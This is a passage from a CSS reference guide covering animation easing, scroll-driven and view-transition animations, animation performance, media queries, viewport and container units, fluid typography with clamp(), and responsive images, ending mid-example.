.easing-ease-in { animation-timing-function: ease-in; }
.easing-ease-out { animation-timing-function: ease-out; }
.easing-ease-in-out { animation-timing-function: ease-in-out; }
.easing-bounce { animation-timing-function: cubic-bezier(0.68, -0.55, 0.265, 1.55); }
Note: Use ease-out for entrances, ease-in for exits, ease-in-out for movement. Tools like cubic-bezier.com help create custom curves. Material Design: cubic-bezier(0.4, 0.0, 0.2, 1).

11.4 Scroll-triggered Animations Experimental

Feature Syntax Description Browser Support
animation-timeline scroll() | view() Link animation to scroll position Chrome 115+
scroll() scroll(axis container) Scroll container timeline Limited
view() view(axis inset) Element in viewport timeline Limited
animation-range start-point end-point When animation plays during scroll Chrome 115+
animation-range-start cover 0% | contain 25% When animation starts Chrome 115+
animation-range-end cover 100% | contain 75% When animation ends Chrome 115+

Example: Scroll-driven animations (modern CSS)

/* Fade in as element enters viewport */
@keyframes fadeInScroll {
    from {
        opacity: 0;
        transform: translateY(50px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

.scroll-reveal {
    animation: fadeInScroll linear;
    animation-timeline: view();
    animation-range: entry 0% entry 100%;
}

/* Parallax effect with scroll */
@keyframes parallax {
    to {
        transform: translateY(-100px);
    }
}

.parallax-bg {
    animation: parallax linear;
    animation-timeline: scroll();
}

/* Scale based on scroll position */
@keyframes scaleOnScroll {
    from {
        transform: scale(0.8);
    }
    to {
        transform: scale(1);
    }
}

.scale-scroll {
    animation: scaleOnScroll linear;
    animation-timeline: view();
    animation-range: entry 0% cover 50%;
}

/* Header shrink on scroll */
@keyframes shrinkHeader {
    to {
        transform: scale(0.9);
        padding: 0.5rem 1rem;
    }
}

.header {
    animation: shrinkHeader linear;
    animation-timeline: scroll(root block);
    animation-range: 0 100px;
}

/* Rotate on scroll */
@keyframes rotateScroll {
    to {
        transform: rotate(360deg);
    }
}

.rotate-element {
    animation: rotateScroll linear;
    animation-timeline: scroll();
}

/* Progress bar based on scroll */
.progress-bar {
    position: fixed;
    top: 0;
    left: 0;
    height: 4px;
    background: blue;
    transform-origin: 0 50%;
    animation: scaleProgress linear;
    animation-timeline: scroll(root block);
}

@keyframes scaleProgress {
    from {
        transform: scaleX(0);
    }
    to {
        transform: scaleX(1);
    }
}

Example: Scroll animations with Intersection Observer (fallback)

/* CSS animation classes */
@keyframes fadeInUp {
    from {
        opacity: 0;
        transform: translateY(30px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

.reveal {
    opacity: 0;
    transition: opacity 0.6s ease, transform 0.6s ease;
}

.reveal.active {
    animation: fadeInUp 0.6s ease forwards;
}

/* JavaScript (Intersection Observer) */
/*
const observer = new IntersectionObserver((entries) => {
    entries.forEach(entry => {
        if (entry.isIntersecting) {
            entry.target.classList.add('active');
        }
    });
}, {
    threshold: 0.1,
    rootMargin: '0px 0px -100px 0px'
});

document.querySelectorAll('.reveal').forEach(el => {
    observer.observe(el);
});
*/

/* Staggered scroll reveals */
.reveal-stagger {
    opacity: 0;
    transform: translateY(30px);
    transition: all 0.6s ease;
}

.reveal-stagger.active {
    opacity: 1;
    transform: translateY(0);
}

.reveal-stagger:nth-child(1) { transition-delay: 0.1s; }
.reveal-stagger:nth-child(2) { transition-delay: 0.2s; }
.reveal-stagger:nth-child(3) { transition-delay: 0.3s; }

/* Parallax sections */
.parallax-section {
    transform: translateY(calc(var(--scroll-progress) * -50px));
    transition: transform 0.1s linear;
}

/* Scroll-linked opacity */
.fade-on-scroll {
    opacity: calc(1 - var(--scroll-progress));
}

/* Pin element during scroll (with scroll-timeline) */
@keyframes pinSticky {
    0% {
        transform: translateY(0);
    }
    100% {
        transform: translateY(0);
    }
}

.pin-element {
    position: sticky;
    top: 0;
    animation: pinSticky linear;
    animation-timeline: view();
}
Warning: animation-timeline is experimental (Chrome 115+). Use Intersection Observer for production. Performance: limit scroll animations, use will-change, prefer transform/opacity.

11.5 View Transition API Integration Experimental

API Method Syntax Description Browser Support
document.startViewTransition() startViewTransition(callback) Create animated transition between states Chrome 111+
view-transition-name unique-name Identify element for transition Chrome 111+
::view-transition Pseudo-element Root transition container Chrome 111+
::view-transition-group() Pseudo-element Group for specific transition Chrome 111+
::view-transition-image-pair() Pseudo-element Old and new image container Chrome 111+
::view-transition-old() Pseudo-element Outgoing state snapshot Chrome 111+
::view-transition-new() Pseudo-element Incoming state snapshot Chrome 111+

Example: View Transition API basics

/* Mark elements for view transitions */
.card {
    view-transition-name: card-1;
}

.title {
    view-transition-name: title;
}

/* Customize transition animation */
::view-transition-old(card-1),
::view-transition-new(card-1) {
    animation-duration: 0.5s;
}

/* Custom animation for specific transition */
@keyframes slide-from-right {
    from {
        transform: translateX(100%);
    }
}

::view-transition-new(card-1) {
    animation: slide-from-right 0.5s ease-out;
}

/* Fade transition */
::view-transition-old(root) {
    animation: 0.3s ease-out both fade-out;
}

::view-transition-new(root) {
    animation: 0.3s ease-out both fade-in;
}

@keyframes fade-out {
    to {
        opacity: 0;
    }
}

@keyframes fade-in {
    from {
        opacity: 0;
    }
}

/* JavaScript usage */
/*
// Simple transition
function updateView() {
    document.startViewTransition(() => {
        // Update DOM here
        document.querySelector('.content').textContent = 'New content';
    });
}

// With promise handling
async function animatedUpdate() {
    const transition = document.startViewTransition(() => {
        // DOM updates
        updateDOMState();
    });
    
    await transition.finished;
    console.log('Transition complete');
}

// Conditional transitions
function conditionalTransition() {
    if (document.startViewTransition) {
        document.startViewTransition(() => updateDOM());
    } else {
        updateDOM();  // Fallback without animation
    }
}
*/

Example: Advanced View Transition patterns

/* Different transitions for different elements */
.hero {
    view-transition-name: hero;
}

.sidebar {
    view-transition-name: sidebar;
}

/* Hero expands */
::view-transition-new(hero) {
    animation: scaleUp 0.5s ease-out;
}

@keyframes scaleUp {
    from {
        transform: scale(0.8);
    }
}

/* Sidebar slides in */
::view-transition-new(sidebar) {
    animation: slideInLeft 0.4s ease-out;
}

@keyframes slideInLeft {
    from {
        transform: translateX(-100%);
    }
}

/* Morph between layouts */
.grid-item {
    view-transition-name: attr(data-id);  /* Dynamic names */
}

/* Smooth color transitions */
::view-transition-group(root) {
    animation-duration: 0.5s;
    animation-timing-function: ease-in-out;
}

/* Page transition (SPA navigation) */
::view-transition-old(root) {
    animation: fadeOutScale 0.3s ease-in;
}

::view-transition-new(root) {
    animation: fadeInScale 0.3s ease-out;
}

@keyframes fadeOutScale {
    to {
        opacity: 0;
        transform: scale(0.95);
    }
}

@keyframes fadeInScale {
    from {
        opacity: 0;
        transform: scale(1.05);
    }
}

/* Disable transition for specific elements */
.no-transition {
    view-transition-name: none;
}

/* Cross-fade between images */
.image-container {
    view-transition-name: main-image;
}

::view-transition-old(main-image),
::view-transition-new(main-image) {
    animation-duration: 0.4s;
    height: 100%;
    object-fit: cover;
}

/* Custom easing for smooth transitions */
::view-transition-group(*) {
    animation-timing-function: cubic-bezier(0.4, 0.0, 0.2, 1);
}
Warning: View Transitions API is experimental (Chrome 111+). Not yet in Firefox/Safari. Always provide fallback. Only works for same-document transitions. Feature detection required: if (document.startViewTransition) { }

11.6 Performance-optimized Animations

Optimization Technique Benefit When to Use
GPU Properties Animate transform and opacity only 60fps performance, no layout/paint All animations
will-change will-change: transform Prepare GPU layer in advance Before animation starts
contain contain: layout paint Isolate animation effects Complex animated sections
Reduce complexity Limit animated elements Less work per frame Many simultaneous animations
requestAnimationFrame JS animations synced to browser Smooth frame timing JavaScript-based animations
Debounce scroll Throttle scroll event handlers Reduce event handler calls Scroll-triggered animations
Property Performance Impact Triggers Recommendation
transform Excellent Composite only ✓ Use for movement
opacity Excellent Composite only ✓ Use for fades
filter Good Paint + Composite ⚠ Use sparingly
width/height Poor Layout + Paint + Composite ✗ Avoid animating
top/left/right/bottom Poor Layout + Paint + Composite ✗ Use transform instead
margin/padding Poor Layout + Paint + Composite ✗ Use transform instead
background-color Moderate Paint + Composite ⚠ Short durations only

Example: Performance-optimized animations

/* GOOD: GPU-accelerated */
.optimized {
    transition: transform 0.3s, opacity 0.3s;
}

.optimized:hover {
    transform: translateY(-5px);
    opacity: 0.8;
}

/* BAD: Triggers layout */
.bad {
    transition: top 0.3s, height 0.3s;
}

.bad:hover {
    top: -5px;
    height: 150px;
}

/* will-change optimization */
.about-to-animate {
    will-change: transform, opacity;
}

.about-to-animate.animating {
    animation: slideIn 0.5s;
}

/* Remove will-change after animation */
.about-to-animate.done {
    will-change: auto;
}

/* Contain for isolated animations */
.animated-card {
    contain: layout paint;
    /* Animation won't affect outside elements */
}

/* Efficient loader */
.loader {
    width: 40px;
    height: 40px;
    border: 4px solid #f3f3f3;
    border-top: 4px solid #3498db;
    border-radius: 50%;
    animation: spin 1s linear infinite;
    /* Only animates transform - GPU accelerated */
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

/* Efficient pulse effect */
.pulse {
    animation: pulse 2s ease-in-out infinite;
}

@keyframes pulse {
    0%, 100% {
        transform: scale(1);
        opacity: 1;
    }
    50% {
        transform: scale(1.05);
        opacity: 0.9;
    }
}

/* Reduce animation on low-end devices */
@media (prefers-reduced-motion: reduce) {
    * {
        animation-duration: 0.01ms !important;
        animation-iteration-count: 1 !important;
        transition-duration: 0.01ms !important;
    }
}

/* Efficient stagger without JavaScript */
.stagger-item {
    animation: fadeIn 0.5s ease-out backwards;
}

.stagger-item:nth-child(1) { animation-delay: 0.1s; }
.stagger-item:nth-child(2) { animation-delay: 0.2s; }
.stagger-item:nth-child(3) { animation-delay: 0.3s; }

@keyframes fadeIn {
    from {
        opacity: 0;
        transform: translateY(20px);
    }
}

Example: Performance best practices

/* Layer promotion for complex animations */
.complex-animation {
    transform: translateZ(0);  /* Force GPU layer */
    will-change: transform;
}

/* Clean up will-change after animation */
/*
element.addEventListener('animationend', () => {
    element.style.willChange = 'auto';
});
*/

/* Efficient scroll animations */
.scroll-animate {
    transition: transform 0.1s ease-out;
    /* Short duration for responsiveness */
}

/* Throttle expensive updates */
/*
let ticking = false;

window.addEventListener('scroll', () => {
    if (!ticking) {
        requestAnimationFrame(() => {
            updateAnimation();
            ticking = false;
        });
        ticking = true;
    }
});
*/

/* Reduce animation complexity for mobile */
@media (max-width: 768px) {
    .complex-animation {
        animation: simpleAnimation 0.3s ease;
    }
}

/* Pause animations when not visible */
/*
const observer = new IntersectionObserver((entries) => {
    entries.forEach(entry => {
        if (entry.isIntersecting) {
            entry.target.style.animationPlayState = 'running';
        } else {
            entry.target.style.animationPlayState = 'paused';
        }
    });
});
*/

/* Efficient color transitions */
.color-change {
    /* Background-color is paint-only, relatively cheap */
    transition: background-color 0.2s ease;
}

/* Avoid filter animations on mobile */
@media (hover: none) {
    .filtered {
        /* Remove expensive filter animations on touch devices */
        filter: none;
    }
}

/* Use animation instead of transition for loops */
.infinite-loop {
    /* Animation is more efficient than transitioning back and forth */
    animation: rotate 2s linear infinite;
}

@keyframes rotate {
    to { transform: rotate(360deg); }
}

/* Batch DOM reads and writes */
/*
// BAD: Causes layout thrashing
elements.forEach(el => {
    const height = el.offsetHeight;  // Read
    el.style.height = height * 2 + 'px';  // Write
});

// GOOD: Batch reads, then writes
const heights = elements.map(el => el.offsetHeight);  // All reads
heights.forEach((height, i) => {
    elements[i].style.height = height * 2 + 'px';  // All writes
});
*/

Animation & Transition Best Practices

  • Only animate transform and opacity for 60fps performance
  • Use transition for state changes, animation for complex sequences
  • Use ease-out for entrances, ease-in for exits, ease-in-out for movement
  • Apply will-change temporarily before animations, remove after
  • Use animation-fill-mode: forwards to keep final state
  • Respect prefers-reduced-motion for accessibility
  • Keep durations 200-500ms for UI interactions, 1-2s for attention-grabbing
  • Use steps() for sprite animations, cubic-bezier() for custom easing
  • Test animations on low-end devices, provide simpler fallbacks

12. Responsive Design and Media Queries

12.1 Media Query Syntax and Features

Component Syntax Description Example
@media @media type and (feature) Apply styles conditionally based on device characteristics @media screen and (min-width: 768px)
Media Types all | screen | print | speech Target specific device types @media print { ... }
Logical Operators and | or | not | only Combine multiple media features (min-width: 768px) and (max-width: 1024px)
Width Queries min-width | max-width | width Query viewport or container width (min-width: 768px)
Height Queries min-height | max-height | height Query viewport or container height (min-height: 600px)
Orientation portrait | landscape Detect device orientation (orientation: landscape)
Aspect Ratio aspect-ratio: width/height Query viewport aspect ratio (aspect-ratio: 16/9)
Resolution resolution: value Query pixel density (dpi, dpcm, dppx) (resolution: 2dppx) for Retina
Display Mode display-mode: value Detect PWA display mode (display-mode: standalone)
Pointer pointer: none | coarse | fine Primary input mechanism precision (pointer: coarse) for touch
Hover hover: none | hover Can primary input hover over elements (hover: hover) for mouse
Any-pointer any-pointer: none | coarse | fine Any available input mechanism (any-pointer: fine)
Any-hover any-hover: none | hover Any available input can hover (any-hover: hover)

Example: Basic media query patterns

/* Mobile-first approach (min-width) */
.container {
    width: 100%;
}

@media (min-width: 768px) {
    .container {
        width: 750px;
    }
}

@media (min-width: 1024px) {
    .container {
        width: 980px;
    }
}

@media (min-width: 1280px) {
    .container {
        width: 1200px;
    }
}

/* Desktop-first approach (max-width) */
.nav {
    display: flex;
}

@media (max-width: 1023px) {
    .nav {
        display: none;
    }
}

/* Range queries (Level 4 syntax) */
@media (768px <= width <= 1024px) {
    .tablet-only {
        display: block;
    }
}

/* Multiple conditions */
@media screen and (min-width: 768px) and (orientation: landscape) {
    .landscape-tablet {
        grid-template-columns: repeat(3, 1fr);
    }
}

/* Print styles */
@media print {
    .no-print {
        display: none;
    }
    
    body {
        font-size: 12pt;
        color: black;
        background: white;
    }
}

Example: User interaction and device queries

/* Touch device detection */
@media (hover: none) and (pointer: coarse) {
    /* Touch-only device */
    button {
        min-height: 44px;  /* Larger touch targets */
        min-width: 44px;
    }
}

/* Mouse/trackpad device */
@media (hover: hover) and (pointer: fine) {
    .interactive:hover {
        background: #f0f0f0;
    }
}

/* Hybrid device (touch + mouse) */
@media (any-hover: hover) {
    .tooltip {
        display: none;
    }
    
    .element:hover .tooltip {
        display: block;
    }
}

/* High-resolution displays (Retina) */
@media (resolution: 2dppx), (resolution: 192dpi) {
    .logo {
        background-image: url('logo@2x.png');
        background-size: 100px 50px;
    }
}

/* PWA standalone mode */
@media (display-mode: standalone) {
    .install-prompt {
        display: none;
    }
    
    .app-header {
        padding-top: env(safe-area-inset-top);
    }
}

/* Landscape orientation */
@media (orientation: landscape) {
    .video-player {
        height: 100vh;
    }
}

/* Specific aspect ratios */
@media (aspect-ratio: 16/9) {
    .widescreen-layout {
        display: grid;
        grid-template-columns: 2fr 1fr;
    }
}
Note: Use (hover: hover) to distinguish devices with mouse from touch devices. Use any-hover for hybrid devices. Modern Level 4 range syntax: (width >= 768px) is cleaner than (min-width: 768px).

12.2 Responsive Length Units and Viewport

Unit Full Name Description Use Case
vw Viewport Width 1% of viewport width Full-width elements, responsive font sizes
vh Viewport Height 1% of viewport height Full-height sections, hero images
vmin Viewport Minimum 1% of smaller viewport dimension Square elements that fit any orientation
vmax Viewport Maximum 1% of larger viewport dimension Background images, diagonal layouts
svh NEW Small Viewport Height Height when UI is expanded (mobile) Fixed mobile headers, reliable 100% height
lvh NEW Large Viewport Height Height when UI is retracted Full-screen experiences
dvh NEW Dynamic Viewport Height Adjusts as browser UI shows/hides Smooth mobile experiences
vi, vb Viewport Inline/Block Writing mode aware viewport units Internationalized layouts
% Percentage Relative to parent element Fluid layouts, responsive sizing
rem Root Em Relative to root font-size (html) Consistent spacing, scalable layouts
em Em Relative to parent font-size Component-scoped scaling
ch Character Width of "0" character Optimal reading line length (45-75ch)
ex X-height Height of lowercase "x" Vertical rhythm, icon sizing

Example: Viewport units for responsive layouts

/* Full-viewport hero section */
.hero {
    height: 100vh;  /* May have issues on mobile */
    height: 100dvh; /* Better: adjusts with mobile browser UI */
    display: flex;
    align-items: center;
    justify-content: center;
}

/* Mobile-safe full height */
.mobile-full-height {
    min-height: 100svh;  /* Smallest viewport (UI visible) */
    min-height: 100dvh;  /* Fallback for dynamic */
}

/* Fluid typography with viewport units */
.responsive-text {
    font-size: calc(16px + 1vw);  /* Grows with viewport */
    /* Better: use clamp() for min/max bounds */
}

/* Square element regardless of orientation */
.square {
    width: 50vmin;
    height: 50vmin;
}

/* Responsive spacing with rem */
:root {
    font-size: 16px;
}

@media (min-width: 768px) {
    :root {
        font-size: 18px;  /* All rem values scale up */
    }
}

.section {
    padding: 2rem;  /* 32px mobile, 36px tablet+ */
    margin-bottom: 3rem;
}

/* Optimal reading width */
.article {
    max-width: 65ch;  /* ~65 characters per line */
    margin: 0 auto;
}

/* Percentage-based fluid grid */
.grid {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
    gap: 2%;  /* Scales with container */
}

Example: Small/Large/Dynamic viewport units (mobile)

/* Problem: 100vh on mobile includes browser UI space */
.old-full-height {
    height: 100vh;  /* May extend below visible area */
}

/* Solution 1: Small viewport (UI always visible) */
.safe-full-height {
    height: 100svh;  /* Accounts for mobile browser chrome */
}

/* Solution 2: Large viewport (UI hidden) */
.expanded-full-height {
    height: 100lvh;  /* Maximum available space */
}

/* Solution 3: Dynamic (recommended) */
.adaptive-full-height {
    height: 100vh;   /* Fallback */
    height: 100dvh;  /* Smoothly adjusts as UI shows/hides */
}

/* Width equivalents */
.full-width {
    width: 100vw;   /* Standard */
    width: 100dvw;  /* Dynamic (for horizontal scrolling scenarios) */
}

/* Practical example: Mobile modal */
.modal-overlay {
    position: fixed;
    inset: 0;
    height: 100dvh;  /* Covers visible viewport */
    width: 100dvw;
    background: rgba(0, 0, 0, 0.5);
}

.modal-content {
    max-height: 90dvh;  /* Leave space for gestures */
    overflow-y: auto;
}
Warning: 100vh on mobile includes browser UI, causing overflow. Use 100dvh for dynamic adjustment or 100svh for consistently safe height. Browser support: Chrome 108+, Safari 15.4+.

12.3 Container Queries Implementation NEW

Property Syntax Description Example
container-type size | inline-size | normal Define element as query container container-type: inline-size;
container-name name Name container for targeted queries container-name: sidebar;
container name / type Shorthand for name and type container: card / inline-size;
@container @container (condition) { } Query container dimensions @container (min-width: 400px)
cqw Container Query Width 1% of container's width font-size: 5cqw;
cqh Container Query Height 1% of container's height padding: 2cqh;
cqi Container Query Inline 1% of inline axis (width in LTR) margin: 3cqi;
cqb Container Query Block 1% of block axis (height in LTR) gap: 2cqb;
cqmin, cqmax Container Query Min/Max 1% of smaller/larger dimension width: 50cqmin;

Example: Container queries for component-based responsive design

/* Define container */
.card-grid {
    container-type: inline-size;
    container-name: card-container;
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
    gap: 1rem;
}

/* Query container, not viewport */
.card {
    padding: 1rem;
}

@container (min-width: 400px) {
    .card {
        display: grid;
        grid-template-columns: 150px 1fr;
        gap: 1rem;
    }
    
    .card-image {
        height: 150px;
    }
}

@container (min-width: 600px) {
    .card {
        grid-template-columns: 200px 1fr;
    }
    
    .card-title {
        font-size: 1.5rem;
    }
}

/* Named container queries */
.sidebar {
    container: sidebar / inline-size;
}

@container sidebar (min-width: 300px) {
    .sidebar-widget {
        display: block;
    }
}

@container sidebar (min-width: 500px) {
    .sidebar-widget {
        display: grid;
        grid-template-columns: 1fr 1fr;
    }
}

Example: Container query units for intrinsic responsive design

/* Responsive typography with container units */
.container {
    container-type: inline-size;
}

.headline {
    font-size: clamp(1rem, 5cqi, 3rem);
    /* Scales with container, not viewport */
}

/* Container-relative spacing */
.card {
    padding: 3cqi 4cqi;
    gap: 2cqi;
}

/* Grid with container units */
@container (min-width: 500px) {
    .grid {
        display: grid;
        grid-template-columns: 30cqi 1fr;
        gap: 3cqi;
    }
}

/* Aspect ratio with container units */
.media {
    width: 100cqi;
    height: 56cqi;  /* 16:9 aspect ratio based on container */
}

/* Fluid icon sizing */
.icon {
    width: 8cqi;
    height: 8cqi;
    max-width: 48px;  /* Cap size */
}

/* Container-relative transforms */
.floating-element {
    transform: translateX(10cqi);
}

/* Responsive grid tracks */
.responsive-grid {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(25cqi, 1fr));
    gap: 2cqi;
}
Note: Container queries enable true component-based responsive design. Components adapt to their container size, not viewport. Use inline-size for width-only queries (most common). Browser support: Chrome 105+, Safari 16+, Firefox 110+.

12.4 Responsive Typography with clamp()

Function Syntax Description Use Case
clamp() clamp(min, preferred, max) Value between min and max bounds Fluid typography that scales with viewport
min() min(value1, value2, ...) Smallest of provided values Ensure element doesn't exceed size
max() max(value1, value2, ...) Largest of provided values Ensure minimum size is maintained
calc() calc(expression) Mathematical calculations Combine units, create fluid scales

Example: Fluid typography with clamp()

/* Fluid font-size that scales between bounds */
h1 {
    font-size: clamp(2rem, 5vw, 4rem);
    /* Min: 2rem (32px)
       Preferred: 5vw (grows with viewport)
       Max: 4rem (64px) */
}

h2 {
    font-size: clamp(1.5rem, 3vw + 1rem, 3rem);
}

p {
    font-size: clamp(1rem, 0.9rem + 0.5vw, 1.25rem);
}

/* Fluid spacing */
.section {
    padding: clamp(1rem, 5vw, 4rem) clamp(1rem, 5vw, 2rem);
    margin-bottom: clamp(2rem, 8vh, 6rem);
}

/* Fluid line-height */
.article {
    line-height: clamp(1.4, 1.2 + 0.5vw, 1.8);
}

/* Type scale with clamp() */
:root {
    --fs-xs: clamp(0.75rem, 0.7rem + 0.25vw, 0.875rem);
    --fs-sm: clamp(0.875rem, 0.8rem + 0.4vw, 1rem);
    --fs-base: clamp(1rem, 0.9rem + 0.5vw, 1.125rem);
    --fs-lg: clamp(1.125rem, 1rem + 0.6vw, 1.5rem);
    --fs-xl: clamp(1.5rem, 1.2rem + 1.5vw, 2.5rem);
    --fs-2xl: clamp(2rem, 1.5rem + 2.5vw, 4rem);
}

.text-xs { font-size: var(--fs-xs); }
.text-sm { font-size: var(--fs-sm); }
.text-base { font-size: var(--fs-base); }
.text-lg { font-size: var(--fs-lg); }
.text-xl { font-size: var(--fs-xl); }
.text-2xl { font-size: var(--fs-2xl); }

Example: Responsive layout with min/max/clamp

/* Fluid container width */
.container {
    width: min(100% - 2rem, 1200px);
    /* Never exceeds 1200px, has 1rem padding on mobile */
    margin: 0 auto;
}

/* Responsive grid columns */
.grid {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(min(250px, 100%), 1fr));
    /* Columns min 250px but won't break on narrow screens */
    gap: clamp(1rem, 3vw, 2rem);
}

/* Fluid gap sizing */
.flex-container {
    display: flex;
    gap: clamp(0.5rem, 2vw, 2rem);
}

/* Responsive padding without media queries */
.card {
    padding: clamp(1rem, 4vw, 3rem);
}

/* Optimal reading width */
.article {
    max-width: min(65ch, 100% - 4rem);
    /* Max 65 characters but leaves margin on narrow screens */
}

/* Fluid border-radius */
.button {
    border-radius: clamp(4px, 0.5vw, 8px);
}

/* Height constraints */
.hero {
    min-height: max(400px, 50vh);
    /* At least 400px, but grows on tall screens */
}

/* Aspect ratio with bounds */
.video-container {
    height: clamp(300px, 56.25vw, 720px);
    /* Maintains ~16:9 ratio with min/max */
}

Example: Advanced fluid typography calculation

/* Calculate fluid typography slope */
/*
Formula: clamp(minSize, minSize + (maxSize - minSize) * ((100vw - minVw) / (maxVw - minVw)), maxSize)

Example calculation for h1:
- Viewport range: 320px to 1200px
- Font size range: 24px to 64px
*/

h1 {
    /* Simple version */
    font-size: clamp(1.5rem, 2vw + 1rem, 4rem);
    
    /* Precise calculation */
    font-size: clamp(
        1.5rem,
        1.5rem + (4 - 1.5) * ((100vw - 20rem) / (75 - 20)),
        4rem
    );
}

/* Fluid type scale generator */
:root {
    /* Base settings */
    --fluid-min-width: 320;
    --fluid-max-width: 1200;
    --fluid-min-size: 16;
    --fluid-max-size: 20;
    
    /* Calculate slope */
    --fluid-min-ratio: 1.2;
    --fluid-max-ratio: 1.333;
    
    /* Apply to scale */
    --step-0: clamp(
        calc(var(--fluid-min-size) * 1px),
        calc((var(--fluid-min-size) * 1px) + (var(--fluid-max-size) - var(--fluid-min-size)) * ((100vw - (var(--fluid-min-width) * 1px)) / (var(--fluid-max-width) - var(--fluid-min-width)))),
        calc(var(--fluid-max-size) * 1px)
    );
}

/* Container query-based fluid typography */
.card-container {
    container-type: inline-size;
}

.card-title {
    font-size: clamp(1rem, 5cqi, 2.5rem);
    /* Scales with container, not viewport */
}
Note: clamp() eliminates most responsive typography media queries. Formula: clamp(min, base + scaleFactor, max). Use viewport units (vw, vh) or container units (cqi, cqb) for fluid scaling. Tools: utopia.fyi for fluid type scale generation.

12.5 Responsive Images and Picture Element

Feature Syntax Description Use Case
srcset srcset="url 1x, url 2x" Multiple resolution image sources Serve higher resolution for Retina displays
sizes sizes="(query) width" Define image display width at breakpoints Let browser choose optimal image size
picture <picture><source><img> Art direction for different layouts Different crops/images per breakpoint
source type <source type="image/webp"> Serve modern image formats WebP, AVIF with fallback to JPEG
loading loading="lazy" Native lazy loading Defer offscreen images, improve performance
decoding decoding="async" Asynchronous image decoding Non-blocking image loading
fetchpriority fetchpriority="high" Hint browser about image priority Prioritize hero images, defer others
aspect-ratio aspect-ratio: 16/9 Reserve space before image loads Prevent layout shift (CLS)
object-fit cover | contain | fill Control image sizing in container Maintain aspect ratio while fitting
object-position top | center | 20% 40% Position image within container Focus on specific area when cropped

Example: Responsive images with srcset and sizes

<!-- Resolution switching (1x, 2x, 3x) -->
<img
    src="image-1x.jpg"
    srcset="image-1x.jpg 1x,
            image-2x.jpg 2x,
            image-3x.jpg 3x"
    alt="Description"
/>

<!-- Width-based selection -->
<img
    src="image-800w.jpg"
    srcset="image-400w.jpg 400w,
            image-800w.jpg 800w,
            image-1200w.jpg 1200w,
            image-1600w.jpg 1600w"
    sizes="(max-width: 600px) 100vw,
           (max-width: 1200px) 50vw,
           800px"
    alt="Description"
/>
<!-- Browser selects best image based on:
     - Screen width and DPR
     - sizes attribute hints -->

<!-- Complex sizes attribute -->
<img
    src="fallback.jpg"
    srcset="small.jpg 400w,
            medium.jpg 800w,
            large.jpg 1200w"
    sizes="(max-width: 400px) 100vw,
           (max-width: 800px) 80vw,
           (max-width: 1200px) 60vw,
           800px"
    alt="Responsive image"
    loading="lazy"
    decoding="async"
/>

Example: Picture element for art direction

<!-- Different images for different layouts -->
<picture>
    <!-- Mobile: portrait crop -->
    <source
        media="(max-width: 600px)"
        srcset="portrait-400w.jpg 400w,
                portrait-800w.jpg 800w"
        sizes="100vw"
    />
    
    <!-- Tablet: square crop -->
    <source
        media="(max-width: 1200px)"
        srcset="square-600w.jpg 600w,
                square-1200w.jpg 1200w"
        sizes="50vw"
    />
    
    <!-- Desktop: landscape crop -->
    <source
        media="(min-width: 1201px)"
        srcset="landscape-800w.jpg 800w,
                landscape-1600w.jpg 1600w"
        sizes="800px"
    />
    
    <!-- Fallback -->
    <img src="landscape-800w.jpg" alt="Hero image" />
</picture>

<!-- Modern format with fallback -->
<picture>
    <!-- AVIF (best compression) -->
    <source
        type="image/avif"
        srcset="image.avif"
    />
    
    <!-- WebP (good compression) -->
    <source
        type="image/webp"
        srcset="image.webp"
    />
    
    <!-- JPEG fallback -->
    <img src="image.jpg" alt="Description" />
</picture>

<!-- Combine format and responsive sizing -->
<picture>
    <source
        type="image/avif"
        srcset="image-400w.avif 400w,
                image-800w.avif 800w"
        sizes="(max-width: 600px) 100vw, 50vw"
    />
    <source
        type="image/webp"
        srcset="image-400w.webp 400w,
                image-800w.webp 800w"
        sizes="(max-width: 600px) 100vw, 50vw"
    />
    <img
        src="image-800w.jpg"
        srcset="image-400w.jpg 400w,
                image-800w.jpg 800w"
        sizes="(max-width: 600px) 100vw, 50vw"
        alt="Description"
        loading="lazy"
    />
</picture>

Example: CSS for responsive images

/* Responsive image container */
.image-container {
    width: 100%;
    aspect-ratio: 16 / 9;  /* Prevent layout shift */
    overflow: hidden;
    background: #f0f0f0;  /* Placeholder */
}

.image-container img {
    width: 100%;
    height: 100%;
    object-fit: cover;  /* Fill container, crop if needed */
    object-position: center;
}

/* Art-directed positioning */
.hero-image {
    object-position: top center;  /* Keep top of image visible */
}

@media (max-width: 600px) {
    .hero-image {
        object-position: center center;  /* Center on mobile */
    }
}

/* Aspect ratio boxes */
.aspect-16-9 {
    aspect-ratio: 16 / 9;
}

.aspect-4-3 {
    aspect-ratio: 4 / 3;
}

.aspect-1-1 {
    aspect-ratio: 1 / 1;
}

/* Lazy load placeholder */
img[loading="lazy"] {
    background: linear-gradient(110deg, #ececec 8%, #f5f5f5 18%, #ececec 33%);
    background-size: 200% 100%;
    animation: shimmer 1.5s linear infinite;
}

@keyframes shimmer {
    to {
        background-position: -200% 0;
    }
}

/* High priority hero image */
.hero img {
    /* fetchpriority="high" in HTML */
    content-visibility: visible;
}

/* Lazy images below fold */
.content img {
    /* loading="lazy" in HTML */
    content-visibility: auto;
}

/* Responsive background images */
.bg-image {
    background-size: cover;
    background-position: center;
}

@media (max-width: 600px) {
    .bg-image {
        background-image: url('mobile.jpg');
    }
}

@media (min-width: 601px) and (max-width: 1200px) {
    .bg-image {
        background-image: url('tablet.jpg');
    }
}

@media (min-width: 1201px) {
    .bg-image {
        background-image: url('desktop.jpg');
    }
}

/* High-resolution background */
@media (resolution >= 2dppx) {
    .bg-image {
        background-image: url('desktop@2x.jpg');
    }
}
Note: Use srcset for resolution switching, <picture> for art direction. Always include alt text. Set aspect-ratio to prevent CLS. Use loading="lazy" for images below fold. Serve modern formats (AVIF, WebP) with fallbacks.

12.6 Mobile-first vs Desktop-first Strategies

Strategy Approach Pros Cons
Mobile-first Base styles for mobile, use min-width to enhance for larger screens Progressive enhancement, better performance on mobile, simpler CSS May require more rework for desktop-heavy sites
Desktop-first Base styles for desktop, use max-width to adapt for smaller screens Easier for existing desktop sites, familiar workflow Mobile devices load unnecessary desktop CSS, harder to simplify
Hybrid Container queries + viewport queries Component adapts to container, layout adapts to viewport More complex, newer browser support
/* Base styles: Mobile (320px+) */
.container {
